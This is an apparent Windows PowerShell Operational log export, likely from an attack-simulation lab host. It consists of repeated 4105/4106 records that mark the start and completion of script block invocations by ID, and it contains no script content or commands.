09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037637
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037636
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037635
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037634
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037618
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037617
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037612
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037611
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037589
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037588
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2037587
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2037586
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
